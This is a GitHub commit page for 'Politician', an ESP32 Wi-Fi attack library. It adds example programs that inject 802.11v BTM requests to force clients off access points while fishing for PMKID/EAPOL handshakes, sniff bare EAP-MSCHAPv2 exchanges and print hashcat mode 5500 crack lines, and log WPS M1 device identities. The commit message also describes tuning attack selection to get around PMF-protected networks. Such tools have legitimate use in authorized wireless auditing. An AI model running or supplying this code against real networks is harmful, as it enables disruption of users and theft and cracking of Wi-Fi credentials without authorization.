Skip to content

Commit c124ccf

Browse files
author
0ldev
committed
feat: exponential backoff, HE/VHT attack path, BTM/WPS/MSCHAPv2 examples
Exponential backoff for failing targets: - Per-entry retry window doubles with each failed attempt: base << min(total_attempts, 4) - Capped at 8 minutes; zero overhead in has_target mode (no throttle applied) - Applies to PMKID fishing throttle in the beacon handler HE/VHT-aware attack path selection: - When PMF-Required + (is_he OR is_vht) is detected, ATTACK_CSA and ATTACK_DEAUTH are stripped from effMask before the attack block — injected management frames are MIC-protected on these networks and will be silently dropped by clients - Same guard applied to the PMKID->CSA fallback path in tick() - Falls through cleanly to PMKID_EXHAUSTED / BTM path Examples: - BtmSteering: 802.11v BTM + PMKID combination, AttackResultCb, targeting filter - WpsCapture: passive WPS M1 sniffing with PoliticianWPS.h print helpers - MsChapCapture: bare EAP-MSCHAPv2 harvest + hashcat -m 5500 output, compiles to no-op stub when POLITICIAN_NO_MSCHAPV2 is defined CI: - Matrix expanded to 15 examples (BtmSteering, MsChapCapture, WpsCapture added) - hashFiles cache key fixed: was using matrix variable inside hashFiles() which GitHub Actions does not support; changed to **/platformio.ini glob
1 parent 4fd5f13 commit c124ccf

8 files changed

Lines changed: 399 additions & 3 deletions

File tree

.github/workflows/build-examples.yml

Lines changed: 4 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -26,6 +26,9 @@ jobs:
2626
- StressTest
2727
- TargetedAuditing
2828
- WigleIntegration
29+
- BtmSteering
30+
- MsChapCapture
31+
- WpsCapture
2932

3033
steps:
3134
- name: Checkout repository
@@ -43,7 +46,7 @@ jobs:
4346
uses: actions/cache@v4
4447
with:
4548
path: ~/.platformio
46-
key: pio-${{ runner.os }}-${{ hashFiles('examples/${{ matrix.example }}/platformio.ini') }}
49+
key: pio-${{ runner.os }}-${{ hashFiles('**/platformio.ini') }}
4750
restore-keys: pio-${{ runner.os }}-
4851

4952
- name: Build ${{ matrix.example }}
Lines changed: 6 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,6 @@
1+
[env:esp32_classic]
2+
platform = espressif32
3+
framework = arduino
4+
board = esp32dev
5+
monitor_speed = 115200
6+
lib_extra_dirs = ../../

examples/BtmSteering/src/main.cpp

Lines changed: 107 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,107 @@
1+
/*
2+
* BtmSteering.ino
3+
*
4+
* Demonstrates 802.11v BSS Transition Management (BTM) Request injection
5+
* using the Politician library.
6+
*
7+
* BTM is a polite 802.11v frame that asks a client to roam to a different AP.
8+
* Many modern clients (iOS, Android, Windows 11, macOS) honour BTM requests
9+
* and disconnect voluntarily — triggering a fresh 4-way handshake on reconnect
10+
* without sending a noisy Deauth or CSA beacon.
11+
*
12+
* This example:
13+
* 1. Enables ATTACK_BTM alongside ATTACK_PMKID.
14+
* 2. Sets a targeting policy that focuses on WPA2 APs with active clients.
15+
* 3. Uses AttackResultCallback to log outcomes.
16+
*
17+
* BTM fires per connected STA immediately after an AP is selected as target.
18+
* Combine with ATTACK_PMKID so that after the client roams, the PMKID fishing
19+
* attempt is ready to capture the resulting EAPOL handshake.
20+
*
21+
* Config knobs:
22+
* cfg.btm_burst_count — how many BTM frames to send per client (default 3)
23+
* cfg.btm_disassoc_timer — Disassociation Timer field in TBTT units (default 10)
24+
*/
25+
26+
#include <Arduino.h>
27+
#include <Politician.h>
28+
29+
using namespace politician;
30+
31+
Politician engine;
32+
33+
// ─── Attack Result Callback ───────────────────────────────────────────────────
34+
35+
void onAttackResult(const AttackResultRecord &r) {
36+
const char *ssid = r.ssid_len > 0 ? r.ssid : "(hidden)";
37+
switch (r.result) {
38+
case RESULT_PMKID_EXHAUSTED:
39+
Serial.printf("[-] PMKID exhausted for \"%s\"\n", ssid);
40+
break;
41+
case RESULT_CSA_EXPIRED:
42+
Serial.printf("[-] CSA wait expired for \"%s\"\n", ssid);
43+
break;
44+
default:
45+
break;
46+
}
47+
}
48+
49+
// ─── Handshake Callback ───────────────────────────────────────────────────────
50+
51+
void onHandshake(const HandshakeRecord &rec) {
52+
Serial.printf("\n[!] %s captured from \"%s\" (vendor: %s)\n",
53+
rec.type == CAP_PMKID ? "PMKID" : "EAPOL",
54+
rec.ssid,
55+
Politician::getVendor(rec.bssid));
56+
}
57+
58+
// ─── Targeting Filter ─────────────────────────────────────────────────────────
59+
// Only attack WPA2 APs that have at least one connected client visible.
60+
// BTM requires a known STA MAC — if no STA is seen, no BTM is sent anyway.
61+
62+
bool targetFilter(const ApRecord &ap) {
63+
if (ap.enc < 3) return false; // Skip open/WEP
64+
if (ap.rssi < -75) return false; // Too far
65+
if (ap.sta_count == 0) return false; // No clients visible
66+
return true;
67+
}
68+
69+
// ─── Setup ───────────────────────────────────────────────────────────────────
70+
71+
void setup() {
72+
Serial.begin(115200);
73+
delay(2000);
74+
Serial.println("\n--- Politician: BTM Steering + PMKID Capture Example ---");
75+
Serial.println("Using 802.11v BTM to trigger client reconnections...\n");
76+
77+
Config cfg;
78+
cfg.smart_hopping = true;
79+
cfg.btm_burst_count = 3; // Send 3 BTM frames per client
80+
cfg.btm_disassoc_timer = 10; // 10 TBTTs (~102ms) before disassoc
81+
82+
if (engine.begin(cfg) != politician::OK) {
83+
Serial.println("[ERROR] WiFi init failed!");
84+
while (1) delay(100);
85+
}
86+
87+
engine.setEapolCallback(onHandshake);
88+
engine.setAttackResultCallback(onAttackResult);
89+
engine.setTargetFilter(targetFilter);
90+
91+
// ATTACK_BTM: send polite BTM request to known clients
92+
// ATTACK_PMKID: immediately start PMKID fishing when client reconnects
93+
// ATTACK_PASSIVE: also capture natural reconnects on adjacent channels
94+
engine.setAttackMask(ATTACK_BTM | ATTACK_PMKID | ATTACK_PASSIVE);
95+
96+
engine.setAutoTarget(true); // Automatically move to next AP after capture
97+
engine.setDisconnectionStrategy(STRATEGY_AUTO_FALLBACK);
98+
engine.startHopping();
99+
100+
Serial.println("Engine started. Hunting for BTM-responsive clients...");
101+
}
102+
103+
// ─── Loop ────────────────────────────────────────────────────────────────────
104+
105+
void loop() {
106+
engine.tick();
107+
}
Lines changed: 6 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,6 @@
1+
[env:esp32_classic]
2+
platform = espressif32
3+
framework = arduino
4+
board = esp32dev
5+
monitor_speed = 115200
6+
lib_extra_dirs = ../../
Lines changed: 132 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,132 @@
1+
/*
2+
* MsChapCapture.ino
3+
*
4+
* Demonstrates passive bare EAP-MSCHAPv2 credential capture using the
5+
* Politician library.
6+
*
7+
* EAP-MSCHAPv2 (RFC 2759) uses a challenge/response exchange:
8+
* AP → Client : 16-byte server challenge
9+
* Client → AP : NT-Response (24 bytes) derived from NTLM hash + challenge
10+
*
11+
* When MSCHAPv2 runs bare (not inside a PEAP/TTLS TLS tunnel), both frames
12+
* are in plaintext and can be passively sniffed. The NT-Response + challenge
13+
* pair can be fed directly into hashcat mode 5500 (NetNTLMv1).
14+
*
15+
* NOTE: Bare MSCHAPv2 without an outer TLS tunnel is a network misconfiguration
16+
* (RFC 2759 §9.3 explicitly warns against it). PEAP/TTLS MSCHAPv2 encrypts
17+
* the inner exchange and is NOT capturable by this method.
18+
*
19+
* This example is disabled at compile time if POLITICIAN_NO_MSCHAPV2 is defined.
20+
*
21+
* Build flags (platformio.ini):
22+
* build_flags = -DPOLITICIAN_NO_MSCHAPV2 ; disables this feature entirely
23+
*/
24+
25+
#include <Arduino.h>
26+
#include <Politician.h>
27+
28+
using namespace politician;
29+
30+
#ifndef POLITICIAN_NO_MSCHAPV2
31+
32+
Politician engine;
33+
34+
// ─── MSCHAPv2 Capture Callback ────────────────────────────────────────────────
35+
36+
void onMsChap(const MsChapRecord &rec) {
37+
Serial.println("\n╔══════════════════════════════════════════╗");
38+
Serial.println("║ Bare EAP-MSCHAPv2 Pair Captured ║");
39+
Serial.println("╚══════════════════════════════════════════╝");
40+
41+
Serial.printf(" AP BSSID : %02X:%02X:%02X:%02X:%02X:%02X\n",
42+
rec.bssid[0], rec.bssid[1], rec.bssid[2],
43+
rec.bssid[3], rec.bssid[4], rec.bssid[5]);
44+
45+
Serial.printf(" STA MAC : %02X:%02X:%02X:%02X:%02X:%02X\n",
46+
rec.sta[0], rec.sta[1], rec.sta[2],
47+
rec.sta[3], rec.sta[4], rec.sta[5]);
48+
49+
Serial.printf(" Username : %s\n", rec.username);
50+
51+
// Server challenge (from AP → Client, 16 bytes)
52+
Serial.print(" Server Challenge: ");
53+
for (int i = 0; i < 16; i++) Serial.printf("%02X", rec.server_challenge[i]);
54+
Serial.println();
55+
56+
// NT-Response (from Client → AP, 24 bytes)
57+
Serial.print(" NT-Response : ");
58+
for (int i = 0; i < 24; i++) Serial.printf("%02X", rec.nt_response[i]);
59+
Serial.println();
60+
61+
// Peer challenge (from Client → AP, 16 bytes)
62+
Serial.print(" Peer Challenge : ");
63+
for (int i = 0; i < 16; i++) Serial.printf("%02X", rec.peer_challenge[i]);
64+
Serial.println();
65+
66+
// Print hashcat mode 5500 line for direct cracking
67+
// Format: username::::peer_challenge:server_challenge:nt_response
68+
Serial.println("\n [hashcat -m 5500 format]");
69+
Serial.printf(" %s::::", rec.username);
70+
for (int i = 0; i < 16; i++) Serial.printf("%02X", rec.peer_challenge[i]);
71+
Serial.print(":");
72+
for (int i = 0; i < 16; i++) Serial.printf("%02X", rec.server_challenge[i]);
73+
Serial.print(":");
74+
for (int i = 0; i < 24; i++) Serial.printf("%02X", rec.nt_response[i]);
75+
Serial.println("\n──────────────────────────────────────────────\n");
76+
}
77+
78+
// ─── EAP Identity Callback (optional: log who's authenticating) ───────────────
79+
80+
void onIdentity(const EapIdentityRecord &rec) {
81+
Serial.printf("[EAP] Identity: \"%s\" from %02X:%02X:%02X:%02X:%02X:%02X\n",
82+
rec.identity,
83+
rec.client[0], rec.client[1], rec.client[2],
84+
rec.client[3], rec.client[4], rec.client[5]);
85+
}
86+
87+
// ─── Setup ───────────────────────────────────────────────────────────────────
88+
89+
void setup() {
90+
Serial.begin(115200);
91+
delay(2000);
92+
Serial.println("\n--- Politician: Bare EAP-MSCHAPv2 Capture Example ---");
93+
Serial.println("Listening for unencapsulated MSCHAPv2 exchanges...\n");
94+
Serial.println("NOTE: Only captures bare MSCHAPv2 (no PEAP/TTLS tunnel).");
95+
Serial.println(" Tunneled MSCHAPv2 is encrypted and NOT captured here.\n");
96+
97+
Config cfg;
98+
cfg.smart_hopping = true;
99+
100+
if (engine.begin(cfg) != politician::OK) {
101+
Serial.println("[ERROR] WiFi init failed!");
102+
while (1) delay(100);
103+
}
104+
105+
engine.setIdentityCallback(onIdentity);
106+
engine.setMsChapCallback(onMsChap);
107+
108+
// Passive only — just listen for EAP frames
109+
engine.setAttackMask(ATTACK_PASSIVE);
110+
engine.startHopping();
111+
112+
Serial.println("Hopper started. Listening for MSCHAPv2 exchanges...");
113+
}
114+
115+
// ─── Loop ────────────────────────────────────────────────────────────────────
116+
117+
void loop() {
118+
engine.tick();
119+
}
120+
121+
#else // POLITICIAN_NO_MSCHAPV2 defined
122+
123+
void setup() {
124+
Serial.begin(115200);
125+
delay(2000);
126+
Serial.println("MSCHAPv2 capture is disabled (POLITICIAN_NO_MSCHAPV2 defined).");
127+
Serial.println("Remove the define from build_flags to enable this feature.");
128+
}
129+
130+
void loop() {}
131+
132+
#endif

examples/WpsCapture/platformio.ini

Lines changed: 6 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,6 @@
1+
[env:esp32_classic]
2+
platform = espressif32
3+
framework = arduino
4+
board = esp32dev
5+
monitor_speed = 115200
6+
lib_extra_dirs = ../../

examples/WpsCapture/src/main.cpp

Lines changed: 106 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,106 @@
1+
/*
2+
* WpsCapture.ino
3+
*
4+
* Demonstrates passive WPS M1 frame capture using the Politician library.
5+
*
6+
* When a WPS client (phone, laptop, printer) starts the WPS PIN/PBC exchange,
7+
* it sends a WSC_MSG M1 frame containing its device identity: model name,
8+
* manufacturer, UUID, and supported config methods (PBC, PIN, Display, etc.).
9+
*
10+
* This example:
11+
* 1. Hops channels listening for beacon WPS IEs to identify WPS-enabled APs.
12+
* 2. Registers a WPS callback — fired automatically when an M1 is sniffed.
13+
* 3. Uses PoliticianWPS.h to pretty-print the captured record.
14+
*
15+
* No active injection is needed; WPS M1 is broadcast in the clear.
16+
*
17+
* Optional: include PoliticianWPS.h for the print<> helper and bitmask constants.
18+
*/
19+
20+
#include <Arduino.h>
21+
#include <Politician.h>
22+
#include <PoliticianWPS.h> // Optional: print helpers, devTypeCatStr, configMethodsStr
23+
24+
using namespace politician;
25+
26+
Politician engine;
27+
28+
// ─── WPS M1 Callback ─────────────────────────────────────────────────────────
29+
30+
void onWpsM1(const WpsRecord &rec) {
31+
Serial.println("\n╔══════════════════════════════════════════╗");
32+
Serial.println("║ WPS M1 Frame Captured ║");
33+
Serial.println("╚══════════════════════════════════════════╝");
34+
35+
// AP that hosted the WPS exchange
36+
Serial.printf(" AP BSSID : %02X:%02X:%02X:%02X:%02X:%02X\n",
37+
rec.bssid[0], rec.bssid[1], rec.bssid[2],
38+
rec.bssid[3], rec.bssid[4], rec.bssid[5]);
39+
40+
// Device attributes from the M1 TLVs
41+
Serial.printf(" Manufacturer: %s\n", rec.manufacturer);
42+
Serial.printf(" Model Name : %s\n", rec.model_name);
43+
Serial.printf(" Model Number: %s\n", rec.model_number);
44+
Serial.printf(" Device Name : %s\n", rec.device_name);
45+
Serial.printf(" Serial No. : %s\n", rec.serial_number);
46+
47+
// Device type category/subcategory (human-readable via PoliticianWPS.h)
48+
Serial.printf(" Device Type : 0x%04X / %s\n",
49+
rec.primary_dev_type_cat,
50+
PoliticianWPS::devTypeCatStr(rec.primary_dev_type_cat));
51+
52+
// Config methods bitmask (human-readable via PoliticianWPS.h)
53+
Serial.printf(" Config Methods: 0x%04X (%s)\n",
54+
rec.config_methods,
55+
PoliticianWPS::configMethodsStr(rec.config_methods));
56+
57+
// Print full record via PoliticianWPS.h template
58+
Serial.println("\n [Full Record]");
59+
PoliticianWPS::print(Serial, rec);
60+
61+
Serial.println("──────────────────────────────────────────────\n");
62+
}
63+
64+
// ─── AP Found Callback (optional: log WPS-enabled APs as discovered) ─────────
65+
66+
void onApFound(const ApRecord &ap) {
67+
if (!ap.wps_enabled) return;
68+
Serial.printf("[WPS] WPS-enabled AP found: \"%.*s\" %02X:%02X:%02X:%02X:%02X:%02X ch%d RSSI=%d\n",
69+
ap.ssid_len, ap.ssid,
70+
ap.bssid[0], ap.bssid[1], ap.bssid[2],
71+
ap.bssid[3], ap.bssid[4], ap.bssid[5],
72+
ap.channel, ap.rssi);
73+
}
74+
75+
// ─── Setup ───────────────────────────────────────────────────────────────────
76+
77+
void setup() {
78+
Serial.begin(115200);
79+
delay(2000);
80+
Serial.println("\n--- Politician: WPS M1 Capture Example ---");
81+
Serial.println("Listening for WPS enrollee exchanges...\n");
82+
83+
Config cfg;
84+
cfg.smart_hopping = true; // Follow traffic — WPS is usually on a specific channel
85+
cfg.probe_hidden_interval_ms = 0; // No need to probe hidden APs for this task
86+
87+
if (engine.begin(cfg) != politician::OK) {
88+
Serial.println("[ERROR] WiFi init failed!");
89+
while (1) delay(100);
90+
}
91+
92+
engine.setApFoundCallback(onApFound);
93+
engine.setWpsCallback(onWpsM1);
94+
95+
// Passive-only: no active attacks needed
96+
engine.setAttackMask(ATTACK_PASSIVE);
97+
engine.startHopping();
98+
99+
Serial.println("Hopper started. Waiting for WPS M1 frames...");
100+
}
101+
102+
// ─── Loop ────────────────────────────────────────────────────────────────────
103+
104+
void loop() {
105+
engine.tick();
106+
}

0 commit comments

Comments
 (0)